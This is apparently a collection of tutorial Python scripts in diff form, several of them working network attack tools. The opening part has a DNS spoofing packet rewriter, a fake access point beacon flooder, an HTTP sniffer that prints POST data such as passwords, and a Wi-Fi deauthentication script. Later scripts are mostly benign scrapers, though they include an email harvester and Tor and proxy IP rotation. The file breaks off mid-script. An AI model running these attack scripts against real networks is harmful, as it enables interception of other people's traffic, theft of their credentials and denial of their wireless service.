+    # craft new answer, overriding the original
+    # setting the rdata for the IP we want to redirect (spoofed)
+    # for instance, google.com will be mapped to "192.168.1.100"
+    packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
+    # set the answer count to 1
+    packet[DNS].ancount = 1
+    # delete checksums and length of packet, because we have modified the packet
+    # new calculations are required ( scapy will do automatically )
+    del packet[IP].len
+    del packet[IP].chksum
+    del packet[UDP].len
+    del packet[UDP].chksum
+    # return the modified packet
+    return packet
+
+
+if __name__ == "__main__":
+    QUEUE_NUM = 0
+    # insert the iptables FORWARD rule
+    os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
+    # instantiate the netfilter queue
+    queue = NetfilterQueue()
+    try:
+        # bind the queue number to our callback process_packet
+        # and start it
+        queue.bind(QUEUE_NUM, process_packet)
+        queue.run()
+    except KeyboardInterrupt:
+        # if want to exit, make sure we
+        # remove that rule we just inserted, going back to normal.
+        os.system("iptables --flush")
+
+
+
+
+from scapy.all import *
+from threading import Thread
+from faker import Faker
+
+
+def send_beacon(ssid, mac, infinite=True):
+    dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac)
+    # type=0:       management frame
+    # subtype=8:    beacon frame
+    # addr1:        MAC address of the receiver
+    # addr2:        MAC address of the sender
+    # addr3:        MAC address of the Access Point (AP)
+
+    # beacon frame
+
+    beacon = Dot11Beacon()
+    
+    # we inject the ssid name
+    essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
+    
+
+    # stack all the layers and add a RadioTap
+    frame = RadioTap()/dot11/beacon/essid
+
+    # send the frame
+    if infinite:
+        sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0)
+    else:
+        sendp(frame, iface=iface, verbose=0)
+
+
+if __name__ == "__main__":
+    import argparse
+
+    parser = argparse.ArgumentParser(description="Fake Access Point Generator")
+    parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode")
+    parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated")
+    args = parser.parse_args()
+    n_ap = args.n_ap
+    iface = args.interface
+
+    # generate random SSIDs and MACs
+    faker = Faker()
+
+    ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ]
+    for ssid, mac in ssids_macs:
+        Thread(target=send_beacon, args=(ssid, mac)).start()
+
+
+
+
+from scapy.all import *
+from scapy.layers.http import HTTPRequest # import HTTP packet
+from colorama import init, Fore
+
+# initialize colorama
+init()
+
+# define colors
+GREEN = Fore.GREEN
+RED   = Fore.RED
+RESET = Fore.RESET
+
+
+def sniff_packets(iface=None):
+    """
+    Sniff 80 port packets with iface, if None (default), then the
+    scapy's default interface is used
+    """
+    if iface:
+        # port 80 for http (generally)
+        # process_packet is the callback
+        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
+    else:
+        # sniff with default interface
+        sniff(filter="port 80", prn=process_packet, store=False)
+
+
+def process_packet(packet):
+    """
+    This function is executed whenever a packet is sniffed
+    """
+    if packet.haslayer(HTTPRequest):
+        # if this packet is an HTTP Request
+        # get the requested URL
+        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
+        # get the requester's IP Address
+        ip = packet[IP].src
+        # get the request method
+        method = packet[HTTPRequest].Method.decode()
+        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
+        if show_raw and packet.haslayer(Raw) and method == "POST":
+            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
+            # then show raw
+            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
+                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
+    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
+    parser.add_argument("--show-raw", dest="show_raw", action="https://github.com/store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
+
+    # parse arguments
+    args = parser.parse_args()
+    iface = args.iface
+    show_raw = args.show_raw
+
+    sniff_packets(iface)
+
+
+
+
+from scapy.all import *
+
+
+def deauth(target_mac, gateway_mac, inter=0.1, count=None, loop=1, iface="wlan0mon", verbose=1):
+    # 802.11 frame
+    # addr1: destination MAC
+    # addr2: source MAC
+    # addr3: Access Point MAC
+    dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
+    # stack them up
+    packet = RadioTap()/dot11/Dot11Deauth(reason=7)
+    # send the packet
+    sendp(packet, inter=inter, count=count, loop=loop, iface=iface, verbose=verbose)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="A python script for sending deauthentication frames")
+    parser.add_argument("target", help="Target MAC address to deauthenticate.")
+    parser.add_argument("gateway", help="Gateway MAC address that target is authenticated with")
+    parser.add_argument("-c" , "--count", help="number of deauthentication frames to send, specify 0 to keep sending infinitely, default is 0", default=0)
+    parser.add_argument("--interval", help="The sending frequency between two frames sent, default is 100ms", default=0.1)
+    parser.add_argument("-i", dest="iface", help="Interface to use, must be in monitor mode, default is 'wlan0mon'", default="wlan0mon")
+    parser.add_argument("-v", "--verbose", help="wether to print messages", action="https://github.com/store_true")
+
+    args = parser.parse_args()
+    target = args.target
+    gateway = args.gateway
+    count = int(args.count)
+    interval = float(args.interval)
+    iface = args.iface
+    verbose = args.verbose
+
+    if count == 0:
+        # if count is 0, it means we loop forever (until interrupt)
+        loop = 1
+        count = None
+    else:
+        loop = 0
+
+    # printing some info messages"
+    if verbose:
+        if count:
+            print(f"[+] Sending {count} frames every {interval}s...")
+        else:
+            print(f"[+] Sending frames every {interval}s for ever...")
+
+    deauth(target, gateway, interval, count, loop, iface, verbose)
+
+
+
+
+from scapy.all import ARP, Ether, srp
+
+target_ip = "192.168.1.1/24"
+# IP Address for the destination
+# create ARP packet
+arp = ARP(pdst=target_ip)
+# create the Ether broadcast packet
+# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
+ether = Ether(dst="ff:ff:ff:ff:ff:ff")
+# stack them
+packet = ether/arp
+
+result = srp(packet, timeout=3, verbose=0)[0]
+
+# a list of clients, we will fill this in the upcoming loop
+clients = []
+
+for sent, received in result:
+    # for each response, append ip and mac address to clients list
+    clients.append({'ip': received.psrc, 'mac': received.hwsrc})
+
+# print clients
+print("Available devices in the network:")
+print("IP" + " "*18+"MAC")
+for client in clients:
+    print("{:16}    {}".format(client['ip'], client['mac']))
+
+
+
+
+from scapy.all import *
+from threading import Thread
+import pandas
+import time
+import os
+import sys
+
+
+# initialize the networks dataframe that will contain all access points nearby
+networks = pandas.DataFrame(columns=["BSSID", "SSID", "dBm_Signal", "Channel", "Crypto"])
+# set the index BSSID (MAC address of the AP)
+networks.set_index("BSSID", inplace=True)
+
+def callback(packet):
+    if packet.haslayer(Dot11Beacon):
+        # extract the MAC address of the network
+        bssid = packet[Dot11].addr2
+        # get the name of it
+        ssid = packet[Dot11Elt].info.decode()
+        try:
+            dbm_signal = packet.dBm_AntSignal
+        except:
+            dbm_signal = "N/A"
+        # extract network stats
+        stats = packet[Dot11Beacon].network_stats()
+        # get the channel of the AP
+        channel = stats.get("channel")
+        # get the crypto
+        crypto = stats.get("crypto")
+        networks.loc[bssid] = (ssid, dbm_signal, channel, crypto)
+
+
+def print_all():
+    while True:
+        os.system("clear")
+        print(networks)
+        time.sleep(0.5)
+
+
+def change_channel():
+    ch = 1
+    while True:
+        os.system(f"iwconfig {interface} channel {ch}")
+        # switch channel from 1 to 14 each 0.5s
+        ch = ch % 14 + 1
+        time.sleep(0.5)
+
+
+if __name__ == "__main__":
+    # interface name, check using iwconfig
+    interface = sys.argv[1]
+    # start the thread that prints all the networks
+    printer = Thread(target=print_all)
+    printer.daemon = True
+    printer.start()
+    # start the channel changer
+    channel_changer = Thread(target=change_channel)
+    channel_changer.daemon = True
+    channel_changer.start()
+    # start sniffing
+    sniff(prn=callback, iface=interface)
+
+
+
+
+import requests
+import os
+from tqdm import tqdm
+from bs4 import BeautifulSoup as bs
+from urllib.parse import urljoin, urlparse
+
+
+def is_valid(url):
+    """
+    Checks whether url is a valid URL.
+    """
+    parsed = urlparse(url)
+    return bool(parsed.netloc) and bool(parsed.scheme)
+
+
+def get_all_images(url):
+    """
+    Returns all image URLs on a single url
+    """
+    soup = bs(requests.get(url).content, "html.parser")
+    urls = []
+    for img in tqdm(soup.find_all("img"), "Extracting images"):
+        img_url = img.attrs.get("src")
+        if not img_url:
+            # if img does not contain src attribute, just skip
+            continue
+        # make the URL absolute by joining domain with the URL that is just extracted
+        img_url = urljoin(url, img_url)
+        # remove URLs like '/hsts-pixel.gif?c=3.2.5'
+        try:
+            pos = img_url.index("?")
+            img_url = img_url[:pos]
+        except ValueError:
+            pass
+        # finally, if the url is valid
+        if is_valid(img_url):
+            urls.append(img_url)
+    return urls
+
+
+def download(url, pathname):
+    """
+    Downloads a file given an URL and puts it in the folder pathname
+    """
+    # if path doesn't exist, make that path dir
+    if not os.path.isdir(pathname):
+        os.makedirs(pathname)
+    # download the body of response by chunk, not immediately
+    response = requests.get(url, stream=True)
+
+    # get the total file size
+    file_size = int(response.headers.get("Content-Length", 0))
+
+    # get the file name
+    filename = os.path.join(pathname, url.split("/")[-1])
+
+    # progress bar, changing the unit to bytes instead of iteration (default by tqdm)
+    progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024)
+    with open(filename, "wb") as f:
+        for data in progress:
+            # write data read to the file
+            f.write(data)
+            # update the progress bar manually
+            progress.update(len(data))
+
+
+def main(url, path):
+    # get all images
+    imgs = get_all_images(url)
+    for img in imgs:
+        # for each img, download it
+        download(img, path)
+    
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="This script downloads all images from a web page")
+    parser.add_argument("url", help="The URL of the web page you want to download images")
+    parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed")
+    
+    args = parser.parse_args()
+    url = args.url
+    path = args.path
+
+    if not path:
+        # if path isn't specified, use the domain name of that url as the folder name
+        path = urlparse(url).netloc
+    
+    main(url, path)
+
+
+
+
+from requests_html import HTMLSession
+import requests
+from tqdm import tqdm
+from bs4 import BeautifulSoup as bs
+from urllib.parse import urljoin, urlparse
+
+import os
+
+
+def is_valid(url):
+    """
+    Checks whether url is a valid URL.
+    """
+    parsed = urlparse(url)
+    return bool(parsed.netloc) and bool(parsed.scheme)
+
+
+def get_all_images(url):
+    """
+    Returns all image URLs on a single url
+    """
+    # initialize the session
+    session = HTMLSession()
+    # make the HTTP request and retrieve response
+    response = session.get(url)
+    # execute Javascript
+    response.html.render()
+    # construct the soup parser
+    soup = bs(response.html.html, "html.parser")
+    urls = []
+    for img in tqdm(soup.find_all("img"), "Extracting images"):
+        img_url = img.attrs.get("src") or img.attrs.get("data-src")
+        if not img_url:
+            # if img does not contain src attribute, just skip
+            continue
+        # make the URL absolute by joining domain with the URL that is just extracted
+        img_url = urljoin(url, img_url)
+        # remove URLs like '/hsts-pixel.gif?c=3.2.5'
+        try:
+            pos = img_url.index("?")
+            img_url = img_url[:pos]
+        except ValueError:
+            pass
+        # finally, if the url is valid
+        if is_valid(img_url):
+            urls.append(img_url)
+    return urls
+
+
+def download(url, pathname):
+    """
+    Downloads a file given an URL and puts it in the folder pathname
+    """
+    # if path doesn't exist, make that path dir
+    if not os.path.isdir(pathname):
+        os.makedirs(pathname)
+    # download the body of response by chunk, not immediately
+    response = requests.get(url, stream=True)
+
+    # get the total file size
+    file_size = int(response.headers.get("Content-Length", 0))
+
+    # get the file name
+    filename = os.path.join(pathname, url.split("/")[-1])
+
+    # progress bar, changing the unit to bytes instead of iteration (default by tqdm)
+    progress = tqdm(response.iter_content(1024), f"Downloading {filename}", total=file_size, unit="B", unit_scale=True, unit_divisor=1024)
+    with open(filename, "wb") as f:
+        for data in progress:
+            # write data read to the file
+            f.write(data)
+            # update the progress bar manually
+            progress.update(len(data))
+
+
+def main(url, path):
+    # get all images
+    imgs = get_all_images(url)
+    for img in imgs:
+        # for each img, download it
+        download(img, path)
+    
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="This script downloads all images from a web page")
+    parser.add_argument("url", help="The URL of the web page you want to download images")
+    parser.add_argument("-p", "--path", help="The Directory you want to store your images, default is the domain of URL passed")
+    
+    args = parser.parse_args()
+    url = args.url
+    path = args.path
+
+    if not path:
+        # if path isn't specified, use the domain name of that url as the folder name
+        path = urlparse(url).netloc
+    
+    main(url, path)
+
+
+
+
+import re
+from requests_html import HTMLSession
+import sys
+
+url = sys.argv[1]
+EMAIL_REGEX = r"""(?:[a-z0-9!#%&'*+/=?^_{|}-]+(?:\.[a-z0-9!#%&'*+/=?^_{|}-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])"""
+
+# initiate an HTTP session
+session = HTMLSession()
+# get the HTTP Response
+r = session.get(url)
+# for JAVA-Script driven websites
+r.html.render()
+with open(sys.argv[2], "a") as f:
+    for re_match in re.finditer(EMAIL_REGEX, r.html.raw_html.decode()):
+        print(re_match.group().strip(), file=f)
+
+
+
+
+from bs4 import BeautifulSoup
+from requests_html import HTMLSession
+from pprint import pprint
+
+# initialize an HTTP session
+session = HTMLSession()
+
+
+def get_all_forms(url):
+    """Returns all form tags found on a web page's url """
+    # GET request
+    res = session.get(url)
+    # for javascript driven website
+    # res.html.render()
+    soup = BeautifulSoup(res.html.html, "html.parser")
+    return soup.find_all("form")
+
+
+def get_form_details(form):
+    """Returns the HTML details of a form,
+    including action, method and list of form controls (inputs, etc)"""
+    details = {}
+    # get the form action (requested URL)
+    action = form.attrs.get("action").lower()
+    # get the form method (POST, GET, DELETE, etc)
+    # if not specified, GET is the default in HTML
+    method = form.attrs.get("method", "get").lower()
+    # get all form inputs
+    inputs = []
+    for input_tag in form.find_all("input"):
+        # get type of input form control
+        input_type = input_tag.attrs.get("type", "text")
+        # get name attribute
+        input_name = input_tag.attrs.get("name")
+        # get the default value of that input tag
+        input_value =input_tag.attrs.get("value", "")
+        # add everything to that list
+        inputs.append({"type": input_type, "name": input_name, "value": input_value})
+    # put everything to the resulting dictionary
+    details["action"] = action
+    details["method"] = method
+    details["inputs"] = inputs
+    return details
+
+
+if __name__ == "__main__":
+    import sys
+    # get URL from the command line
+    url = sys.argv[1]
+    # get all form tags
+    forms = get_all_forms(url)
+    # iteratte over forms
+    for i, form in enumerate(forms, start=1):
+        form_details = get_form_details(form)
+        print("="*50, f"form #{i}", "="*50)
+        pprint(form_details)
+
+
+
+
+from bs4 import BeautifulSoup
+from requests_html import HTMLSession
+
+from pprint import pprint
+from urllib.parse import urljoin
+import webbrowser
+import sys
+
+from form_extractor import get_all_forms, get_form_details, session
+
+# get the URL from the command line
+url = sys.argv[1]
+# get the first form (edit this as you wish)
+first_form = get_all_forms(url)[0]
+# extract all form details
+form_details = get_form_details(first_form)
+pprint(form_details)
+# the data body we want to submit
+data = {}
+for input_tag in form_details["inputs"]:
+    if input_tag["type"] == "hidden":
+        # if it's hidden, use the default value
+        data[input_tag["name"]] = input_tag["value"]
+    elif input_tag["type"] != "submit":
+        # all others except submit, prompt the user to set it
+        value = input(f"Enter the value of the field '{input_tag['name']}' (type: {input_tag['type']}): ")
+        data[input_tag["name"]] = value
+
+# join the url with the action (form request URL)
+url = urljoin(url, form_details["action"])
+
+if form_details["method"] == "post":
+    res = session.post(url, data=data)
+elif form_details["method"] == "get":
+    res = session.get(url, params=data)
+
+# the below code is only for replacing relative URLs to absolute ones
+soup = BeautifulSoup(res.content, "html.parser")
+for link in soup.find_all("link"):
+    try:
+        link.attrs["href"] = urljoin(url, link.attrs["href"])
+    except:
+        pass
+for script in soup.find_all("script"):
+    try:
+        script.attrs["src"] = urljoin(url, script.attrs["src"])
+    except:
+        pass
+for img in soup.find_all("img"):
+    try:
+        img.attrs["src"] = urljoin(url, img.attrs["src"])
+    except:
+        pass
+for a in soup.find_all("a"):
+    try:
+        a.attrs["href"] = urljoin(url, a.attrs["href"])
+    except:
+        pass
+
+# write the page content to a file
+open("page.html", "w").write(str(soup))
+# open the page on the default browser
+webbrowser.open("page.html")
+
+
+
+
+import requests
+import pandas as pd
+from bs4 import BeautifulSoup as bs
+
+USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
+# US english
+LANGUAGE = "en-US,enq=0.5"
+
+def get_soup(url):
+    """Constructs and returns a soup using the HTML content of url passed"""
+    # initialize a session
+    session = requests.Session()
+    # set the User-Agent as a regular browser
+    session.headers['User-Agent'] = USER_AGENT
+    # request for english content (optional)
+    session.headers['Accept-Language'] = LANGUAGE
+    session.headers['Content-Language'] = LANGUAGE
+    # make the request
+    html = session.get(url)
+    # return the soup
+    return bs(html.content, "html.parser")
+
+
+def get_all_tables(soup):
+    """Extracts and returns all tables in a soup object"""
+    return soup.find_all("table")
+
+
+def get_table_headers(table):
+    """Given a table soup, returns all the headers"""
+    headers = []
+    for th in table.find("tr").find_all("th"):
+        headers.append(th.text.strip())
+    return headers
+
+
+def get_table_rows(table):
+    """Given a table, returns all its rows"""
+    rows = []
+    for tr in table.find_all("tr")[1:]:
+        cells = []
+        # grab all td tags in this table row
+        tds = tr.find_all("td")
+        if len(tds) == 0:
+            # if no td tags, search for th tags
+            # can be found especially in wikipedia tables below the table
+            ths = tr.find_all("th")
+            for th in ths:
+                cells.append(th.text.strip())
+        else:
+            # use regular td tags
+            for td in tds:
+                cells.append(td.text.strip())
+        rows.append(cells)
+    return rows
+
+
+def save_as_csv(table_name, headers, rows):
+    pd.DataFrame(rows, columns=headers).to_csv(f"{table_name}.csv")
+
+
+def main(url):
+    # get the soup
+    soup = get_soup(url)
+    # extract all the tables from the web page
+    tables = get_all_tables(soup)
+    print(f"[+] Found a total of {len(tables)} tables.")
+    # iterate over all tables
+    for i, table in enumerate(tables, start=1):
+        # get the table headers
+        headers = get_table_headers(table)
+        # get all the rows of the table
+        rows = get_table_rows(table)
+        # save table as csv file
+        table_name = f"table-{i}"
+        print(f"[+] Saving {table_name}")
+        save_as_csv(table_name, headers, rows)
+
+
+if __name__ == "__main__":
+    import sys
+    try:
+        url = sys.argv[1]
+    except IndexError:
+        print("Please specify a URL.\nUsage: python html_table_extractor.py [URL]")
+        exit(1)
+    main(url)
+
+
+
+
+import requests
+from urllib.parse import urlparse, urljoin
+from bs4 import BeautifulSoup
+import colorama
+
+# init the colorama module
+colorama.init()
+
+GREEN = colorama.Fore.GREEN
+GRAY = colorama.Fore.LIGHTBLACK_EX
+RESET = colorama.Fore.RESET
+
+# initialize the set of links (unique links)
+internal_urls = set()
+external_urls = set()
+
+total_urls_visited = 0
+
+
+def is_valid(url):
+    """
+    Checks whether url is a valid URL.
+    """
+    parsed = urlparse(url)
+    return bool(parsed.netloc) and bool(parsed.scheme)
+
+
+def get_all_website_links(url):
+    """
+    Returns all URLs that is found on url in which it belongs to the same website
+    """
+    # all URLs of url
+    urls = set()
+    # domain name of the URL without the protocol
+    domain_name = urlparse(url).netloc
+    soup = BeautifulSoup(requests.get(url).content, "html.parser")
+    for a_tag in soup.findAll("a"):
+        href = a_tag.attrs.get("href")
+        if href == "" or href is None:
+            # href empty tag
+            continue
+        # join the URL if it's relative (not absolute link)
+        href = urljoin(url, href)
+        parsed_href = urlparse(href)
+        # remove URL GET parameters, URL fragments, etc.
+        href = parsed_href.scheme + "://" + parsed_href.netloc + parsed_href.path
+        if not is_valid(href):
+            # not a valid URL
+            continue
+        if href in internal_urls:
+            # already in the set
+            continue
+        if domain_name not in href:
+            # external link
+            if href not in external_urls:
+                print(f"{GRAY}[!] External link: {href}{RESET}")
+                external_urls.add(href)
+            continue
+        print(f"{GREEN}[*] Internal link: {href}{RESET}")
+        urls.add(href)
+        internal_urls.add(href)
+    return urls
+
+
+def crawl(url, max_urls=50):
+    """
+    Crawls a web page and extracts all links.
+    You'll find all links in external_urls and internal_urls global set variables.
+    params:
+        max_urls (int): number of max urls to crawl, default is 30.
+    """
+    global total_urls_visited
+    total_urls_visited += 1
+    links = get_all_website_links(url)
+    for link in links:
+        if total_urls_visited > max_urls:
+            break
+        crawl(link, max_urls=max_urls)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Link Extractor Tool with Python")
+    parser.add_argument("url", help="The URL to extract links from.")
+    parser.add_argument("-m", "--max-urls", help="Number of max URLs to crawl, default is 30.", default=30, type=int)
+    
+    args = parser.parse_args()
+    url = args.url
+    max_urls = args.max_urls
+
+    crawl(url, max_urls=max_urls)
+
+    print("[+] Total Internal links:", len(internal_urls))
+    print("[+] Total External links:", len(external_urls))
+    print("[+] Total URLs:", len(external_urls) + len(internal_urls))
+
+    domain_name = urlparse(url).netloc
+
+    # save the internal links to a file
+    with open(f"{domain_name}_internal_links.txt", "w") as f:
+        for internal_link in internal_urls:
+            print(internal_link.strip(), file=f)
+
+    # save the external links to a file
+    with open(f"{domain_name}_external_links.txt", "w") as f:
+        for external_link in external_urls:
+            print(external_link.strip(), file=f)
+
+
+
+
+import requests
+import random
+from bs4 import BeautifulSoup as bs
+
+def get_free_proxies():
+    url = "https://free-proxy-list.net/"
+    # get the HTTP response and construct soup object
+    soup = bs(requests.get(url).content, "html.parser")
+    proxies = []
+    for row in soup.find("table", attrs={"id": "proxylisttable"}).find_all("tr")[1:]:
+        tds = row.find_all("td")
+        try:
+            ip = tds[0].text.strip()
+            port = tds[1].text.strip()
+            host = f"{ip}:{port}"
+            proxies.append(host)
+        except IndexError:
+            continue
+    return proxies
+
+
+def get_session(proxies):
+    # construct an HTTP session
+    session = requests.Session()
+    # choose one random proxy
+    proxy = random.choice(proxies)
+    session.proxies = {"http": proxy, "https": proxy}
+    return session
+
+
+if __name__ == "__main__":
+    # proxies = get_free_proxies()
+    proxies = [
+        '167.172.248.53:3128',
+        '194.226.34.132:5555',
+        '203.202.245.62:80',
+        '141.0.70.211:8080',
+        '118.69.50.155:80',
+        '201.55.164.177:3128',
+        '51.15.166.107:3128',
+        '91.205.218.64:80',
+        '128.199.237.57:8080',
+    ]
+    for i in range(5):
+        s = get_session(proxies)
+        try:
+            print("Request page with IP:", s.get("http://icanhazip.com/", timeout=1.5).text.strip())
+        except Exception as e:
+            continue
+
+
+
+
+import requests
+from stem.control import Controller
+from stem import Signal
+
+def get_tor_session():
+    # initialize a requests Session
+    session = requests.Session()
+    # setting the proxy of both http & https to the localhost:9050 
+    # (Tor service must be installed and started in your machine)
+    session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"}
+    return session
+
+def renew_connection():
+    with Controller.from_port(port=9051) as c:
+        c.authenticate()
+        # send NEWNYM signal to establish a new clean connection through the Tor network
+        c.signal(Signal.NEWNYM)
+
+
+if __name__ == "__main__":
+    s = get_tor_session()
+    ip = s.get("http://icanhazip.com/").text
+    print("IP:", ip)
+    renew_connection()
+    s = get_tor_session()
+    ip = s.get("http://icanhazip.com/").text
+    print("IP:", ip)
+
+
+
+
+import requests
+
+
+def get_tor_session():
+    # initialize a requests Session
+    session = requests.Session()
+    # this requires a running Tor service in your machine and listening on port 9050 (by default)
+    session.proxies = {"http": "socks5://localhost:9050", "https": "socks5://localhost:9050"}
+    return session
+
+
+if __name__ == "__main__":
+    s = get_tor_session()
+    ip = s.get("http://icanhazip.com/").text
+    print("IP:", ip)
+
+
+
+
+import requests
+
+url = "http://icanhazip.com/"
+proxy_host = "proxy.crawlera.com"
+proxy_port = "8010"
+proxy_auth = ":"
+proxies = {
+       "https": f"https://{proxy_auth}{proxy_host}:{proxy_port}/",
+       "http": f"http://{proxy_auth}{proxy_host}:{proxy_port}/"
+}
+
+r = requests.get(url, proxies=proxies, verify=False)
+
+
+
+
+from bs4 import BeautifulSoup as bs
+import requests
+
+USER_AGENT = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
+# US english
+LANGUAGE = "en-US,enq=0.5"
+
+def get_weather_data(url):
+    session = requests.Session()
+    session.headers['User-Agent'] = USER_AGENT
+    session.headers['Accept-Language'] = LANGUAGE
+    session.headers['Content-Language'] = LANGUAGE
+    html = session.get(url)
+    # create a new soup
+    soup = bs(html.text, "html.parser")
+    # store all results on this dictionary
+    result = {}
+    # extract region
+    result['region'] = soup.find("div", attrs={"id": "wob_loc"}).text
+    # extract temperature now
+    result['temp_now'] = soup.find("span", attrs={"id": "wob_tm"}).text
+    # get the day and hour now
+    result['dayhour'] = soup.find("div", attrs={"id": "wob_dts"}).text
+    # get the actual weather
+    result['weather_now'] = soup.find("span", attrs={"id": "wob_dc"}).text
+    # get the precipitation
+    result['precipitation'] = soup.find("span", attrs={"id": "wob_pp"}).text
+    # get the % of humidity
+    result['humidity'] = soup.find("span", attrs={"id": "wob_hm"}).text
+    # extract the wind
+    result['wind'] = soup.find("span", attrs={"id": "wob_ws"}).text
+    # get next few days' weather
+    next_days = []
+    days = soup.find("div", attrs={"id": "wob_dp"})
+    for day in days.findAll("div", attrs={"class": "wob_df"}):
+        # extract the name of the day
+        day_name = day.find("div", attrs={"class": "vk_lgy"}).attrs['aria-label']
+        # get weather status for that day
+        weather = day.find("img").attrs["alt"]
+        temp = day.findAll("span", {"class": "wob_t"})
+        # maximum temparature in Celsius, use temp[1].text if you want fahrenheit
+        max_temp = temp[0].text
+        # minimum temparature in Celsius, use temp[3].text if you want fahrenheit
+        min_temp = temp[2].text
+        next_days.append({"name": day_name, "weather": weather, "max_temp": max_temp, "min_temp": min_temp})
+    # append to result
+    result['next_days'] = next_days
+    return result
+    
+
+if __name__ == "__main__":
+    URL = "https://www.google.com/search?lr=lang_en&ie=UTF-8&q=weather"
+    import argparse
+    parser = argparse.ArgumentParser(description="Quick Script for Extracting Weather data using Google Weather")
+    parser.add_argument("region", nargs="?", help="""Region to get weather for, must be available region.
+                                        Default is your current location determined by your IP Address""", default="")
+    # parse arguments
+    args = parser.parse_args()
+    region = args.region
+    URL += region
+    # get data
+    data = get_weather_data(URL)
+    # print data
+    print("Weather for:", data["region"])
+    print("Now:", data["dayhour"])
+    print(f"Temperature now: {data['temp_now']}C")
+    print("Description:", data['weather_now'])
+    print("Precipitation:", data["precipitation"])
+    print("Humidity:", data["humidity"])
+    print("Wind:", data["wind"])
+    print("Next days:")
+    for dayweather in data["next_days"]:
+        print("="*40, dayweather["name"], "="*40)
+        print("Description:", dayweather["weather"])
+        print(f"Max temperature: {dayweather['max_temp']}C")
+        print(f"Min temperature: {dayweather['min_temp']}C")
+
+
+
+
+import requests
+from bs4 import BeautifulSoup as bs
+from urllib.parse import urljoin
+
+import sys
+
+# URL of the web page you want to extract
+url = sys.argv[1]
+
+# initialize a session
+session = requests.Session()
+# set the User-agent as a regular browser
+session.headers["User-Agent"] = "Mozilla/5.0 (X11 Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
+
+# get the HTML content
+html = session.get(url).content
+
+# parse HTML using beautiful soup
+soup = bs(html, "html.parser")
+
+# get the JavaScript files
+script_files = []
+
+for script in soup.find_all("script"):
+    if script.attrs.get("src"):
+        # if the tag has the attribute 'src'
+        script_url = urljoin(url, script.attrs.get("src"))
+        script_files.append(script_url)
+
+# get the CSS files
+css_files = []
+
+for css in soup.find_all("link"):
+    if css.attrs.get("href"):
+        # if the link tag has the 'href' attribute
+        css_url = urljoin(url, css.attrs.get("href"))
+        css_files.append(css_url)
+
+
+print("Total script files in the page:", len(script_files))
+print("Total CSS files in the page:", len(css_files))
+
+# write file links into files
+with open("javascript_files.txt", "w") as f:
+    for js_file in script_files:
+        print(js_file, file=f)
+
+with open("css_files.txt", "w") as f:
+    for css_file in css_files:
+        print(css_file, file=f)
+
+
+
+
+import wikipedia
+
+# print the summary of what python is
+print(wikipedia.summary("Python Programming Language"))
+
+# search for a term
+result = wikipedia.search("Neural networks")
+print("Result search of 'Neural networks':", result)
+
+# get the page: Neural network
+page = wikipedia.page(result[0])
+
+# get the title of the page
+title = page.title
+
+# get the categories of the page
+categories = page.categories
+
+# get the whole wikipedia page text (content)
+content = page.content
+
+# get all the links in the page
+links = page.links
+
+# get the page references
+references = page.references
+
+# summary
+summary = page.summary
+
+# print info
+print("Page content:\n", content, "\n")
+print("Page title:", title, "\n")
+print("Categories:", categories, "\n")
+print("Links:", links, "\n")
+print("References:", references, "\n")
+print("Summary:", summary, "\n")
+
+
+
+
+import requests
+from bs4 import BeautifulSoup as bs
+
+
+def get_video_info(url):
+    # download HTML code
+    content = requests.get(url)
+    # create beautiful soup object to parse HTML
+    soup = bs(content.content, "html.parser")
+    # initialize the result
+    result = {}
+    # video title
+    result['title'] = soup.find("span", attrs={"class": "watch-title"}).text.strip()
+    # video views (converted to integer)
